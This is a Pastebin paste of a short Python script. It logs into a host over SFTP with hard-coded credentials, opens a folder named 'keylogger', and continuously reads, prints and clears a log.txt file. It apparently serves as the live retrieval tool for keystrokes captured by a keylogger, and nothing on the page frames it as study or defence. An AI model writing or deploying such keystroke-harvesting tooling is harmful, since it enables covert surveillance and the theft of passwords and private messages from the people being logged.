Advertisement
Guest User

param_ssh

a guest
Jun 8th, 2017
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.65 KB | None | 0 0
  1. import paramiko
  2. import sys
  3. from time import sleep
  4.  
  5. ip="192.168.1.78"
  6. username="sebastian"
  7. password="paprotka"
  8. dir="keylogger"
  9. filename="log.txt"
  10. ssh=paramiko.SSHClient()
  11. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  12. ssh.load_system_host_keys()
  13. t = paramiko.Transport((ip, 22))
  14. t.connect(None,username, password)
  15. sftp = paramiko.SFTPClient.from_transport(t)
  16. sftp.chdir(dir)
  17.  
  18. while True:
  19.     f = sftp.open(filename)
  20.     data = f.read().decode("utf-8")
  21.     if len(data) >0:
  22.         sys.stdout.write(data)
  23.         sys.stdout.flush()
  24.     f.close()
  25.     sftp.truncate(filename,0)
  26.     if len(data) >0:
  27.         print("")
  28.     sleep(0.5)
  29. sftp.close()
  30. t.close()
  31. ssh.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement